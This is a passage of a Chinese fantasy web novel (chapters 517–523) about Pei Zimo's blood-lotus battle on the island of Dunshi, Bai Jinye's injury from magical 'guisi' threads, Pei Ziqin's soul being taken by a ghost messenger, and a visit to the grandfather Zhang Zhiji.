他这个想法刚冒出来,就见裴子墨的身边有星星点点的红色在凝聚。 他并没有感受到术法的气息,所以一时也不敢上去。 这些红色慢慢汇聚,最后汇聚成了一朵莲花的模样。 裴子墨就坐在这莲花的花心之中,随后莲花慢慢地扩大。 裴松依旧感受不到阵法的气息,但是这会也只能推测是裴子墨在设置什么阵法,于是抬手挥了挥,示意二长老先放几个傀儡过去试探一下。 那几个傀儡在接近红色莲花的瞬间,当场爆体而亡。 裴子墨看着裴松笑了笑,也不见有什么动作,但是莲花却还在不断的扩大。 裴松等人当场就赶紧往后退,生怕被莲花碰到。 因为没有人知道活人上前会是什么结果,所以自然也就没有人敢主动请缨往上凑,裴松眯了眯眼,抬手抓住身边的一个人,用力的往前一抛。 那个人尖叫了一声,碰在莲花的虚影之上,也不见身上有什么伤口,但是整个人却迅速的干瘪下去,而被他碰触到的莲花花瓣,颜色却更红了一些,也更妖异了一些,甚至扩大的速度都变快了。 “破了她的阵法!”裴松大喊一声,手上捏动印诀,他也不知道面前这是什么情况,其实也根本不知道用什么术法能破开,但也总要试试。 可他手上的术法打出去,在碰得莲花虚影之后,就被反弹了回来。 好在裴松躲得及时,术法没有落在自己的身上,但站在他身后的人就没这么幸运了,当场死在了裴松被反弹的术法之下。 裴松的脸僵了僵,但是他不相信这世上有完全没有破绽的阵法,而且不管是什么样的阵法,肯定都要靠裴子墨的体力来支撑,无论是攻击还是防御,只要把裴子墨的力气耗尽,自然也就破开这阵法了。 想到这,他眯了眯眼,转头吩咐其他人躲远点,让傀儡们围着莲花站好,他和另外三位长老则是站在四个方向上,用术法攻击莲花。 被莲花反弹过来的术法,就会落在傀儡的身上,等一波傀儡被消耗掉,就再换一波新的傀儡上来。 裴子墨看着他们费力的模样,嘴角的笑容更大,最后干脆闭上了眼睛,任由他们折腾。 半个时辰下来,没有耗费掉裴子墨的力气,反倒是裴松几个人开始有脱力的倾向了。 于是他们也停了下来。 裴松眯眼看着这莲花,开口道,“老二,你别耗在这了,带着傀儡去后山抓人吧。” 第518章 火起 裴子墨知道裴松这话的意思,他们是拿她没办法了,只能把目标转移到白锦夜的身上。 随即裴松又道,“老八,你看看还有没有船能用,我记得裴意和裴子衿好像还在船上吧?” 裴子墨微微眯了眯眼,虽然她已经让黑袍人把船开远了,这些人也不可能是黑袍人的对手,但是在海上可不比在陆地,若是船受损,就会很麻烦,甚至等他们想离开的时候,都成了问题。 她手上轻轻结了几个印诀,随即无数的小莲花从莲花虚影上面分裂出来。 一部分朝着海边还剩下的船只飞过去,那些小莲花要比八长老他们的速度快,轻飘飘的落在船上之后,瞬间就引起了大火。 而另外一部分莲花,则是朝傀儡们飞过去。 二长老见状,便让傀儡们迅速散开。 就算莲花落在某一个傀儡上,在它身上引起了火,只要它周围没有其他的傀儡,就不会引发连片的大火。 这些傀儡又不是真的活人,不会因为被火烧就横冲直撞,只要在他的控制之下,就算是被烧成灰烬,都不可能有一丝不该有的动作。 只不过这些小莲花飞到傀儡们的上方之后,却没有直接落下来,而是突然散开,变成红色的星星点点,最后像是雨点一样密密麻麻的落了下来。 即便有些傀儡已经被二长老们控制着跑开,可还是没能躲开这些星星点点的红色。 而任何一丝丝红色落在傀儡的身上,都会迅速的引起大火。 甚至落在地上的红点,都会燃起一撮小小的火焰。 这还不是最重要的,最重要的是,那些红点落在傀儡身上之后,它们和二长老之间的联系就像是也被烧断了。 二长老没办法在控制这些傀儡,傀儡们也一下子就开始乱糟糟的跑得到处都是。 如果身上没有火,即便跑到别处,也会很快被制服。 可它们身上烧着火,又到处乱跑,跑到树林里的,就烧了树林,跑到人群里的,就引起恐慌,那些人一边躲,一边想要制服傀儡,实在没办法制服的时候,就也只能跑开。 海滩上顿时乱做一片,最后不少人干脆跑进了海里,然后便开始施咒想要唤雨。 雨是下了,但火却一点变小的趋势都没有。 白锦夜带着“神算公”回来的时候,前面的路就已经被大火拦住了,他们根本没办法穿过这片火焰。 不过他的气息靠近,裴子墨自然就感受到了,又分了几朵莲花飞过去。 莲花落在他们的面前,在大火之中分出一条通路。 白锦夜看着这红色的莲花,就知道是血莲,他倒是不知道什么时候血莲已经有这样的功效,但此刻也就只能赶紧带着“神算公”去和裴子墨汇合。 “神算公”这么多年都被压在术法之下,尤其是大长老被裴子墨镇压之后,他以裴松的身份没少去折磨“神算公”,所以“神算公”此刻身体很是虚弱,基本上是相当于被白锦夜背过来的。 裴子墨也收起了周围的莲花虚影,从地上站起来去接他们。 但是走得近了,她才感觉到白锦夜身上的气息不对,她微微拧了拧眉,走过去,抬手扶住白锦夜,手在他腰腹上摸了一把,便摸到一手的黏腻。 白锦夜对着她微微摇了摇头,示意自己没事,又抬眼看向周围的火光冲天,“现在离开么?” 裴子墨点点头,跟白锦夜一起扶着“神算公”往岸边走。 只不过没走几步,就被裴松拦住,“裴子墨,我说了,你走不了。”他说着又笑了笑,“今天要么是我杀了你,要么是你杀了我。不过如今我这身份可是你爹,你要是杀了我,就要背上弑父的骂名。” “神算公”眯眼看着裴松,之前他跑去后山折磨他的时候,他就已经认出了他如今身体里的,是大长老的一丝魂魄,“大哥,这么多年了,遁世岛已经是这样了,你还执迷不悟么?” “他早就已经鬼迷心窍了,没必要跟他耗费口舌。”裴子墨开口道,说完抿了抿唇,看向白锦夜,“你带着‘神算公’先去海边等我,我解决了他就过去。” 白锦夜顿了顿,往旁边侧了侧身,把“神算公”推给了裴子墨,“你带着‘神算公’过去。他说的对,虽然裴松的魂魄可能早就不在了,这只是一具躯壳,但我也不能让你背上弑父的骂名。” “他算什么我爹?”裴子墨有些急,垂眼看了看白锦夜腰上的伤,“再说这种虚名说着给谁听的?我又不在乎!” 白锦夜对着她摇了摇头,往前走了几步,抽出九殇,挡在了她面前。 裴子墨有点急,若是没有受伤的白锦夜,她自然不担心。 可是他受了伤,而且她能感受到,他伤得不轻。 他应该是已经足够小心,再加上冥尸的铜皮铁骨,按说想要伤到他已经很难了。 所以谁也不知道,被逼急了的大长老还有没有什么杀手锏。 她身上有血莲,就算是再危险的情况,也还能保住自己一条命。 “不……” 她正要再说话,却被“神算公”拉住,他对着她轻轻摇了摇头,隔了会才说,“放心吧,他不会有事。” 裴子墨转头,便见黑袍人已经把船开回来接他们了,而有不少人见到了船,就已经想要过去抢船了。 她咬了咬牙,手心凝聚出一朵小小的莲花,指尖一弹,莲花落在白锦夜的伤口上。 白锦夜身体微微僵了一下,又转头看她,“不用担心我,快走。” 裴子墨扶着“神算公”快速的往船那边走。 此刻黑袍人和裴意正在不断的把试图抢船的人打开,就连裴子衿为了活命,也在努力的帮忙。 裴子墨把“神算公”送上船,便让黑袍人赶紧开船。 等她和裴意把所有抢船的人赶下船之后,便纵身跳进海里,往回游去。 “子墨!”裴意喊了一声。 裴子墨转头看她,“你们先走,我们马上就会追来。” 裴意转头看了看黑袍人的方向,可也知道黑袍人被裴子墨控制,根本不可能听她的话把船停下来等着裴子墨和白锦夜。 她只能站在船尾,看着遁世岛变得越来越小。 第519章 不详的预感 裴子墨回到遁世岛的时候,白锦夜已经陷入了四个长老的围攻。 而且他们显然因为不敢硬接九殇,没办法真的伤到白锦夜,所以此刻也并不是想要直接杀了他,而是想要把他逼进大火里。 裴子墨跳进战圈,便迅速的控制住了白锦夜,让两个人的攻击宛如一体。 不过这会的控制不算是彻底,白锦夜也还有自己的意识。 这会裴松等人的身上,也都挂了彩,即便他们尽量避开九殇,可九殇到底也是神兵利器,即便被剑气扫到,身上也一样会出现血痕。 而量天尺虽然无锋,但是被碰到一下,也会让人气血翻涌,半响才能压住胸中的血气。 “我把裴松引开。”白锦夜低声对裴子墨道。 裴子墨点点头,眼下若是有人能被轻易的杀死,那也就是裴松,只要裴松一死,大长老的这丝魂魄散了,其他三位长老就没了主心骨。 * 等遁世岛只剩下一个远远的模糊的轮廓的时候,裴意才叹了一口气,回了船舱。 “不用太担心他们。”神算公看着裴意开口道,“他们两个这一世的命没有那么薄。” “可我总是有点不太好的预感。”裴意坐下来,想了想才又问,“你离开的时候,可知道这岛上还剩下几位长老?” 神算公眯眸想了一会,“我看到了‘神傀公’,还有裴松。”他和白锦夜从大火里出来的时候,沙滩上已经乱糟糟的一片,到处都是火和人,根本看不清什么。 二长老还在,裴意倒是不意外,她只是诧异裴松向来惜命,怎么这个时候了还没有离开,只是还不等她问出口,神算公便继续道,“裴松本人,怕是已经凶多吉少,我看他身体里的,是大哥的一丝魂魄。” 裴意微怔了一下,“你是说……”后半句她也没有问出来,而是转头看向船舱外面,怪不得裴松后来的性子变得很奇怪,有一段时间,明明是他自己做过的事情,转头又不承认。 看样子,大长老早就在用魂魄控制裴松了。 她微微眯了眯眼,但蓦地想起什么,突然从椅子上站起来,“坏了。” “怎么了?”神算公抬头看他。 “裴松的武器……”裴意说着顿了顿,“裴松的武器是我爹的,那是从乾坤殿带出来的东西。” 她忍不住跺了一下脚,又转身往外走。 当时她爹去世,裴松说自己还没有趁手的兵器,那会裴子墨刚出生,她对修习术法打打杀杀的事一点都不感兴趣了,于是便把武器给了裴松。 只是这么多年,裴松大部分时候,都不舍得用那武器。 她走到船尾,这会在黑暗之中,已经完全看不见遁世岛了,可信她心里不详的预感,却越来越强烈。 * 白锦夜自己已经受了伤,况且裴子墨那边以一敌三,他根本就没有心思跟裴松缠斗,招招都是杀招。 一开始裴松还有还手的余地,但很快就只剩下招架之力。 再片刻之后,就连招架都变得极其费力。 终于,白锦夜找到了一个空隙,一剑就刺入了裴松的胸口。 裴松冷笑着看着他,脚下蓦地用力,猛地往前走了几步,剑穿过他的胸膛,他也到了白锦夜的跟前,他抬起手,一把抓住白锦夜的手腕。 白锦夜想要抽出九殇,可手腕却传来一阵刺痛,随即他便见到一条黑色的细丝缠上了他的手腕,又顺着他的胳膊往上钻,胳膊上一凉,随即就没有什么其他的感觉了。 他一脚踹开裴松,拉开自己的袖子,但手腕和胳膊上干干净净的,什么都没有。 裴松倒在地上,血从他的胸口涌出来,他看着白锦夜,嘴角露出一抹诡异的笑容。 白锦夜拧着眉,往前走了几步,却见裴松抽出袖里的匕首,迅速的隔断了自己的喉咙。 这本就不是大长老的身体,即便他有一丝魂魄寄存在这身上,他也根本不在意这身体的死活。 裴松受了重伤,要说死,可能还能坚持一会,但是左右也改变不了什么结局,大长老可不希望白锦夜从他的嘴里问出什么不该问的事情。 就算是他这丝魂魄要散,他也得带上裴松一起死。 裴松已经断了气,白锦夜自然没必要再在他的身上浪费时间,转身就往裴子墨那边走,想要帮忙。 可是走到近前,刚提起九殇,就一口血喷了出来,随即便倒在了地上。 “锦夜!”裴子墨见状便要冲过来,可是却被二长老拦住。 随即八长老便往白锦夜那边走,他既然已经受了重伤,抓在手上当个人质,可以牵制裴子墨,就算当不了人质,也能送他上路解解气。 眼见着八长老靠近,白锦夜却又突然起了起身,九殇一闪,一剑就割在了八长老的脖子上。 八长老双手捂着自己的脖颈,往后退了几步,不可置信地看着白锦夜。 白锦夜当然是已经没有站起来的力气,可是他是冥尸,只要裴子墨控制他,哪怕他真的死了,裴子墨也依旧能控制他的尸体。 血从八长老的指缝不断地滴到地上,八长老也跌坐在地上。 二长老见状也不再跟裴子墨缠斗,和另外一位长老迅速的跑到八长老旁边,试图帮他止血。 裴子墨也跑到白锦夜身边,转头看了一眼二长老等人,拽着白锦夜就往海边跑。 到了海边,她把量天尺放大,和白锦夜坐了上去,随即便控制着量天尺往黑袍人的气息那边追。 八长老大概是活不成了,如果留下来,解决掉另外两位长老,也不过就是时间的问题。 可是八长老一死,必然激怒另外两外长老,他们只会下手更狠。 若是只有她自己或者白锦夜没有受伤,她倒是也不怕。 但白锦夜受了伤。 之前他去救神算公的时候,虽然也受了伤,可从他的气息上看,问题不算太大。 这一会,他就已经是半昏迷的状态。 大概是裴松死前,拼了自己的命,重伤了白锦夜。 第520章 诡丝 裴子墨放白锦夜平躺下,仔细地检查了一番,可是除了他原来腰腹上的伤,他的身上就没有任何其他的伤了。 她皱起眉头,抬手按在白锦夜的眉心,也见到了裴松死前的一幕。 她看见有黑色的细丝缠上白锦夜的手腕,只是掀开他的袖子,她也依旧看不到任何伤口和异样。 她只能先给白锦夜喝了一瓶血莲晶露。 之后白锦夜的气息微微平稳了些,却依旧没有醒过来。 他们离遁世岛已经越来越远,眼见着遁世岛上已经不可能有人再追过来,裴子墨便给黑袍人传了信息,让他停下船等他们。 感受到船停下来,裴意便知道,应该是裴子墨他们快过来了。 她站在船尾处,张望了许久,才终于见到有人靠近。 等裴子墨靠在了船边,便让黑袍人过来,把白锦夜背到了船上。 裴意打量了下裴子墨,见她没事,才开口问,“他这是怎么回事?” 裴子墨摇了摇头,想了想,裴意和裴松毕竟是夫妻,说不定会知道什么,便把裴松死前的情况跟裴意描述了一遍。 裴意听完,脸色白了白,低声道,“诡丝。” “什么?”裴子墨没听清,又问道。 “是诡丝。”裴意重重地叹了一口气,“我刚刚还在想,裴松若是被逼急了,估摸着就要用这东西。”她说着话,往后退了几步,坐在椅子上,“诡丝,是当年我爹从乾坤殿带出来的,以前乾坤殿有不少诡丝的,后来,就剩下我爹手上这一根。” “这东西是认主的,虽然我爹死后,诡丝落在了裴松的手上,但是却一直没有认主,所以裴松从来都没有用过诡丝,因为诡丝对他来说,也就只能攻击一次,然后就收不回了。” “诡丝进入身体之后,就会和经脉融为一体,并且逐渐蔓延至所有的经脉,若是及时取出,那可能也就是毁坏一部分经脉,可若是在身体内留存太久,所有的经脉都被诡丝侵蚀,那……” 裴意摇了摇头,“但我爹死后,恐怕这世上就没有人知道诡丝的使用方法了,我也不知道的。诡丝倒不会让他有生命的危险,只是……经脉尽毁,以后恐怕……” 她说到这,便没有再继续说下去了。 裴子墨坐在白锦夜的旁边,拉着他的手,“那如果诡丝一直取不出来呢?” “若以后就像个常人一样活着,便也没事,诡丝就会在他的身体里沉睡。但是一旦动用术法,诡丝就会被唤醒,他就会全身疼痛……就像现在一样。”裴意继续道。 裴子墨垂下眼,沉默了片刻,随后起身找了药,先把白锦夜腰腹的伤口包扎了,然后便让黑袍人继续去开船。 “岛上怎么样了?”裴意开口问道。 “那火不会熄灭,应该会有一部分人死在火里,剩下的人,若是能侥幸离开遁世岛,大概也会被地府的人拦截。”裴子墨说着顿了顿,“其实三长老他们带走的人也一样,只不过,也许他们能多活一些日子,可地府也终究会找上去。” “只要是在遁世岛出生的人,他们的魂魄,都是几位长老以术法放入婴儿的身体之中,在地府那边的记录,这些魂魄都是早就应该死了的人,他们会逐一对应,并且把这些魂魄都带走。” “那些一开始跟着长老们去遁世岛的人,有些到了寿命还没死的,这一次也逃脱不掉,所以最后能剩下的,其实没有什么人。” “但这是遁世岛的因果,也早就该让一切回到正轨上。” 听裴子墨这么说,裴意和神算公都陷入沉默,这本就是这个世界上生老病死的因果循环,早些年欠下的,现在也该都还了。 “你什么意思?”裴子衿却蓦地从椅子上站起来,“你是说,在遁世岛上出生的人,都会死?” 裴子墨没有说话,裴意抬头看向裴子衿,她的三个孩子,都是在遁世岛上出生,除了裴子墨是从乾坤殿来的,裴子衿和裴子轩的魂魄,都是长老们安排的。 他们其实并不知道这魂魄以前是谁,长老们也不会把这件事告诉外人,以防止出现什么乱子。 不过按照裴子墨所说,裴子衿身体里的魂魄,确实是早就已经死了的人。 “子衿……” “呵。”裴子衿冷笑了一声,看着裴子墨,“那也挺好,我要死,你也要死,凌锦夜也要死。反正他就算现在不死,也是废人一个人了,这对他来说,恐怕要比死还难受。等死了,一切重新开始,说不定……” 说不定她下一世就来得及,能够让凌锦夜先喜欢上她,就没有裴子墨的事了。 裴子墨没看裴子衿,也没有理会她说的话。 裴意想要说什么,但是顿了顿,到了嘴边的话,又咽了回去。 她也知道,裴子墨和白锦夜都是从乾坤殿来的,根本不会因为遁世岛的覆灭而死,如今这船上,能被地府带走的,其实也就只有裴子衿。 她轻轻地叹了一口气,裴子衿到底也是她的女儿,马上就要骨肉分离,她心里也不好受,沉默了一会,她才看向裴子墨,“子墨,地府要把这些魂魄带走,谁也阻止不了,可错的人,归根结底也不是他们,他们虽然因此受益,但很多事情也是被蒙在鼓里的。” “若是到地府那边免不了刑罚,子衿到底也是你的妹妹,那你是不是能跟地府打个招呼,这刑罚能不能减轻些?” 裴子墨垂眼看着白锦夜,“这些事情,地府那边都会有考量,他们不会私自加刑,把欠下的罪业都还了,才能真正开始。”她说着看向裴意,“这么多年,地府对遁世岛恨之入骨,若不让他们这一次把帐都算了,他们恐怕也会留下印记,以后再慢慢折腾,那还不如一次算清。” 裴意轻轻皱了下眉头,还不等她再说话,裴子衿就先开了口,“娘,你放心,她不会管我的,她要是真在乎我、把我当成亲妹妹,就不会在我大喜的日子,出来搅局了。” 第521章 那你现在就去死吧 “裴二姑娘,当年的事情,是有人故意安排,锦夜和子墨两个人在遁世岛转世之前,便是夫妻,姻缘线也一直没有断,他本就不可能跟你在一起。”这一次是神算公开口说了话。 “我不管!他已经跟我走进了喜堂,拜堂被打断,那也是我的未婚夫婿!我和他有媒妁之言,父母之命,他们有什么?他们这叫私相授受!”说完裴子衿也不再等别人说话,转身跑到了甲板上。 神算公看着裴子衿的背影,轻轻摇了摇头,没再说话。 裴意站起身,上前拍了拍裴子墨的肩膀,“不要跟你妹妹一般见识,这么多年了,她还是想不开这件事。” “我没事。”裴子墨开口道,“娘,神算公,你们也去休息吧,我照顾他就行了。” 神算公的身体还是很虚弱,便先去休息了。 裴意犹豫了一会,还是走到甲板上去看裴子衿。 不过两个人也没有谈多久,裴子衿的火气反倒更大,裴意只能让她一个人冷静一下 白锦夜是在第三天的午后醒来的,裴子墨已经提前交代过,诡丝的事情暂时不要告诉他,只说是那东西类似一个禁制,压制住了他的术法,让他暂时先安心养伤,等到了陆地便去找那个老和尚,看看是不是有什么办法。 他腰腹上的伤口,因为冥尸的缘故,愈合的比较慢,但是也在逐渐好转,除此之外,他整个人就像是没什么力气,身体发沉。 裴子墨让他不要多想,一切等上了岸再说。 白锦夜隐约的觉得哪里不太对劲,可裴子墨、裴意和神算公的话术都一样,他也听不出来什么破绽。 至于裴子衿,这几天干脆就没有露过面。 他晚上躺在床上睡不着,便蹑手蹑脚的出了船舱,去甲板上吹风。 刚站了一会,突然背后传来一阵钝痛。 白锦夜转过身,就见到裴子衿拿着匕首站在他面前。 裴子衿像是也没有想到,这一刀下去竟然没有刺进他的身体。 白锦夜却是完全没有感受到有人靠近,他拧了拧眉,往后退了几步,跟裴子衿拉开了一些距离。 裴子衿拽出一道符纸,朝白锦夜扔过去。 白锦夜当即想要扫开,可是胳膊刚抬到一半,全身就传来刺痛,他腿一弯,跪在了地上,符纸也贴在了他的肩头。 符纸上面就像是有千斤的重量,压着他一动不能动,“裴子衿,你又要干什么?” “我要干什么?”裴子衿轻声笑了笑,“你知道么?咱们都活不长了,与其等死,还不如早点去地府报道。这一次我们两个一起走,到了地府,我们也是在一起的,再也不会有别人来拆散我们。” “你疯了么?”白锦夜拧着眉,“谁要跟你一起死?” “要不要跟我一起死,你恐怕都没得选了,你现在术法全无,在我面前,就是板上鱼肉。”裴子衿说着蹲在白锦夜的面前,抬手捏住他的下巴,“你如今是废人一个,早点死,早点转世,下一辈子还能重新开始是不是?” “你什么意思?”白锦夜眯起眼。 “哦,我忘了,你还不知道。”裴子衿笑道,“裴子墨不让别人告诉你,你身体里的那条黑色丝线,叫诡丝,它进入你的身体,就会毁掉你全身经脉,你这辈子别说修习术法,就算是像个普通人一样习武都做不到了。” 白锦夜轻轻地抿了下唇,没有说话。 “反正你也不会相信我的话,那就随便吧,不过今天我是一定要带着你一起下地府的。”裴子衿说着举起匕首,又朝白锦夜的胸口刺去。 白锦夜疼得眼前都一黑,可匕首不仅没有刺进他的胸口,连刀尖都被崩断。 裴子衿拧眉看着手里的匕首,“怎么回事?”她像是疯了一样,拿着断了的匕首往白锦夜的身上戳。 白锦夜被符纸压着躲不开,只能生生地承受着,甚至于他正要喊裴子墨的时候,连嘴都被裴子衿封住。 裴子衿发了狠,用匕首割破了自己的掌心,把血涂在匕首上,又重新朝白锦夜刺过去,但依旧没有任何作用。 她气得扔开匕首,双手掐住了白锦夜的脖子,“我要死,你也要死,全都死吧!” 白锦夜被她掐的无法呼吸,脸色涨红,可片刻之后,裴子衿就从他的面前飞开,倒在地上,打了几个滚,才稳住身形。 裴子墨眯眼看了裴子衿一眼,走上前,把白锦夜身上的符纸拽掉,扶着他站起来,“你没事吧?” 白锦夜摇了摇头,没有说话。 “裴子墨,为什么?为什么你总是破坏我的好事?”裴子衿坐在地上,看着裴子墨怒吼,“明明是我先认识凌锦夜的,你每天在后山修习术法知道什么?明明是我,是我先认识他的,是你把他从我身边抢走,你毁了我,毁了我一辈子!” “如果我嫁给了凌锦夜,根本就不会有后面的事情,我不会……我不会被凌锦枫……我也不会生下那个孽种!什么都不会发生!你为什么要这么对我?” “这世上男人那么多,你为什么非要跟我抢?” 裴子墨已经懒得再跟裴子衿解释什么,只是开口道,“本来我在这里,是不会有鬼差找上门的,但既然你一心求死,那你现在就去死吧。” 她说着拿出一张符纸,随手抖了抖,符纸就被点燃。 符纸是用来召唤鬼差的,所以符纸烧尽的那一刻,甲板上突然出现一个黑影。 鬼差被召唤出来,先是有些愣,看到裴子墨便下意识地往后退了几步。 裴子墨用下巴点了点裴子衿的方向,“这个魂魄在外游荡多年,该归于地府了。” 鬼差这才看过去,盯着裴子衿盘算了一会,明白了什么,手一抖,一条铁链出现在她的手里。 “你敢抓我!”裴子衿站起来,从袖子里拽出一沓符纸,“我可是遁世岛的人,你敢抓我,是活得不耐烦了么?”她说着就把符纸一股脑地扔了出来。 第522章 可至少,你还是冥尸 甲板上的动静,也吵醒了裴意和神算公,他们出来见到鬼差,心里便明白了。 裴意拧着眉便要上前,却被神算公拦住,他对着她摇了摇头。 裴子衿抛出去的符纸,没有起到丝毫的作用,反倒是鬼差手里的铁链套在了她的身上。 那铁链轻飘飘的,她几乎什么都没有感觉到,可是等铁链往前一拉的时候,她就顺着铁链的力道往前踉跄了几步。 随即便见到自己的身体变得透明,她一转头,就看见自己的身体倒在了地上。 “你不能只带我一个人走,他们都是遁世岛的人,你为什么不把他们也一起带走?”裴子衿抓着铁链,朝鬼差吼道。 鬼差转头看了看裴子墨等人,轻轻拧了下眉头,嫌裴子衿太吵,抬手就封住了她的嘴,随即又是一道印诀打在裴子衿的身上,裴子衿整个人立刻就起了变化。 她之所以保持现在的样貌,是因为遁世岛长老们在她魂魄上留下的术法和封印,现在这些都被鬼差解开,她也就恢复了原貌。 “裴子衿”看着自己的手瞬间变得苍老,又下意识的去摸自己的脸,结果在脸上摸到了同样的皱纹,头发也都变得花白。 她正要质问鬼差对她做了什么的时候,一大波记忆突然涌上她的脑海。 原来她只是“神目公”一脉,术法和资质都很平庸的一个人,抵不过岁月的侵袭,逐渐老去,然后死亡,魂魄被遁世岛的长老们收起来,随后对她的魂魄进行了封印,她就变成了“裴子衿”。 她茫然地看着这一切,两世的记忆都太过繁杂,她一时之间都还没办法接受。 鬼差对着裴子墨拱了拱手,拉着有些呆愣的“裴子衿”就走了。 神算公轻轻地叹了一口气,如今裴子衿的下场,也将是很多遁世岛的人的结局。 他没有说话,转身回了船舱。 再怎么样,裴子衿也是裴意怀胎十月生下来的,又是她亲手养大,即便知道了这魂魄的来历,她也还是一样心痛。 她站了会,才走到裴子衿的尸体旁,蹲下来,抬手轻轻地合上她还没有闭上的眼睛和嘴,想到裴子轩也会是这般结果,再也忍不住,低声啜泣起来。 裴子墨不太会安慰人,但这会也只能上前,抬手轻轻地抱住了裴意。 “我没事。”裴意摇了摇头,“虽然早就知道了会这样,但是真的发生了,心里还是难受,我知道,本来她的存在就是个错误……” 裴子衿也好,裴子轩也好。 遁世岛上那么多的人都好。 他们的存在,本来就是个错误。 收敛了裴子衿的尸体,裴意便也回去了。 她说她想一个人呆会,裴子墨便也就没有跟上去。 她转头看向靠着柱子站着的白锦夜,迈步慢慢地走了过去,抬手整理了下他的衣服,才发现他的衣服上被匕首刺了很多个洞。 她解开他的衣衫,见到他身上被匕首戳红戳青的印迹,裴子衿是真的下了狠手的。 白锦夜垂眼看着她的手指,低声道,“刚才我站在甲板上,她过来的时候我完全都没有感受到。” 裴子墨轻轻皱了下了眉头,隔了好半天,才低声道,“如果……你以后都不能修习术法,只能像一个普通人一样的活着,你能接受么?” “也许可能还不如普通人。”白锦夜看着她,“这一世遇见你之前,我也算是个逍遥王爷,打了不少胜仗,但以后,恐怕武器都拿不了了。做个普通人起码还能上阵杀敌,而我以后……大概肩不能扛手不能提,是不是?” “可至少,你还是冥尸,还是不会死,也不会变老。”裴子墨说着抬手抱住他,脸靠在他的肩膀上,“做个普通人,也没什么不好。” “若是……所有的事情都解决完,做个普通人确实挺好,可是我若是什么都不能做,等回了乾坤殿该怎么办?”白锦夜皱起眉头,“如今国师被你控制,我回去接管巫族,才能止战。可这样的我,回到乾坤殿,根本得不到任何人的认可。” 裴子墨抱着他的手紧了紧,“会有办法的,反正这么多年,我们都没有回乾坤殿,也不差这点时间了,我们先去找老和尚,看看他有没有办法。”她说着抬头看他,嘴角带着一抹笑,“再不济,就送你去地府投胎转世,换个身体就是了,等你长大了,我们再一起回乾坤殿。” 白锦夜也轻声笑了笑,“怎么,你要亲手帮我抚养长大么?” 见他还能开玩笑,裴子墨便也微微放心下来,“你已经做了很多了,就当是休息一段时间。” “我做的再多,也不及你,我只是想要再帮你分担一些。”白锦夜轻轻地叹了一口气,不过也知道,事情已经发生了,怨天尤人也没用,他现在唯一庆幸的,就是当天他坚持由他来解决裴松。 不然若是诡丝落在裴子墨的身上,如今失去术法的就是她,那恐怕是更难接受的事情。 按照裴子墨的性子,说不定真的当场了断,投胎转世,再重新来一次。 反正现在遁世岛也没有了,即便转世,也不会再需要防备什么,只要等着长大就可以了。 但白锦夜多少还是有些舍不得的,如果还有一丝希望能够恢复,他自然还是想要能陪在她身边。 “别想那么多了。”裴子墨转头看向天边,那里已经微微地泛起了一丝白,她拉着白锦夜找了个地方坐下,“我们这么多年,都在各种奔波,现在好不容易能松口气,正好可以安安静静地过一些日子,好好享受一下生活。” 白锦夜抱着她,也看向日出的方向,“这种话从你嘴里说出来,还挺难得的。” “怎么难得了?”裴子墨笑了笑,顿了顿才又问,“你还记得,在乾坤殿的时候,其实有很多时候,我们还是过得挺开心的,有时候开心得,都已经忘了彼此的身份,其实……时间要是能一直停在那个时候,该有多好。” 第523章 是不是有什么难言之隐? “你现在还会想起那时候的事情么?”白锦夜开口问。 “很少会想起了。”裴子墨闭上眼睛,“这些年,很少想了。” 白锦夜轻轻叹了口气,没再说话。 十几天后,船靠了岸,裴意想追上文子山他们,就算有些事不能阻止,但是起码她也能和自己曾经的后代们短暂的告别。 至于神算公,他在遁世岛其实已经没有什么后代了。 当年他的族人都被打散分到其他十脉,之后的日子多少也有凄惨,一段时间之后,基本上就都已经不在人世了。 所以他也不想再回到十二颠,反正一个人,孑然一身,去哪里都一样。 裴子墨想了想,便把普宁街的位置告诉了神算公,说他如果在外面游荡得累了,就可以到普宁街那里去,把那家卦摊再开起来。 而且卦祖现在对她来说,已经没有什么用处了,乾坤殿的人都不上卦,她也算不出来什么,至于算其他的卦,就算没有卦祖,问题也不是很大。 这卦祖毕竟是神算公一脉祖传之物,也该物归原主了。 神算公倒也没有推辞,裴意离开之后,他就也跟着离开了。 离开之前,给了裴子墨一张地图。 那是他这么多年,靠算卦推演出来的,去乾坤殿的路。 他不知道裴子墨是否还是需要,但是这是当年答应她的,总要兑现承诺。 裴子墨收好了地图,转头看向白锦夜,“你有想去的地方么?” 白锦夜沉默了片刻,才道,“想去复州,看看外公和母妃。” 若是过段时间回了乾坤殿,就不知道什么时候能再回来了,张之极的年纪毕竟大了,即便他们还能再回来,可那时候张之极是不是还在,就不知道了。 裴子墨点点头,虽然这一世在他们所有的记忆中,也不过就是短短一瞬,但是对于白锦夜来说,以往的亲人都不在了,眼下还剩下的,也就只有张家这些亲人了。 两个人买了马车,路上也不算着急,赶了差不多一个多月的路才到了复州。 复州和他们上次来的时候,变化没有多大。 不过在张府门口碰到张之极的时候,裴子墨却明显地感觉,他比上一次见面要苍老了一些。 她轻轻地叹了口气,生老病死,对普通人来说,是人之常情。 她简单地掐算了下,掐算的结果倒是让她有些诧异,张之极竟不是寿终正寝,而是死在战事之中。 怕是再过几年,天风国起了战事,张之极又要披挂上阵。 她抿了下唇,知道白锦夜如今也看不出来这些,便也没打算说破,对张之极这种武将来说,保家卫国而死,才是死得其所。 张之极本来约了人去垂钓,刚出了门,就见到裴子墨和白锦夜走过来,他怔了一下,当场把渔具扔给随从,迎了过来,“你们回来怎么也不提前叫人送个信儿过来?” 白锦夜笑着看着他,“外公,我们回家还要提前打招呼么?” “那倒是,那倒是。”张之极笑得开心,赶紧吩咐人晚上加菜。 见着他们祖孙大概又有很多话要说,裴子墨便说自己赶路累了,想要去休息了。 下人带着裴子墨离开,张之极才拉着白锦夜进了书房,进了门,他第一句就问,“你们到底打算什么时候生个孩子?要让我眼巴巴地盼到什么时候?” 提到这个话题,白锦夜轻咳了一声,脸上的表情有些不自然,张之极看着他,心里有点犯嘀咕,莫不是这两个人谁有什么隐疾,怀不上孩子? 想到这个可能,张之极更急了,“是不是有什么难言之隐?外公也不是外人,跟外公说就是了。”说这个话,他心里已经开始盘算之前听过的,那些专门治疗这个方面的大夫,想来想去,又觉得可能宫中的御医比较靠谱。 好在现在的皇上跟白锦夜的关系也不错,请御医这事,问题应该也不大。 “外公,其实……我们已经有了一个孩子。”半响后,白锦夜才开口道。 “什么?”张之极当场就从椅子上跳起来了,“孩子呢?怎么没带回来?” 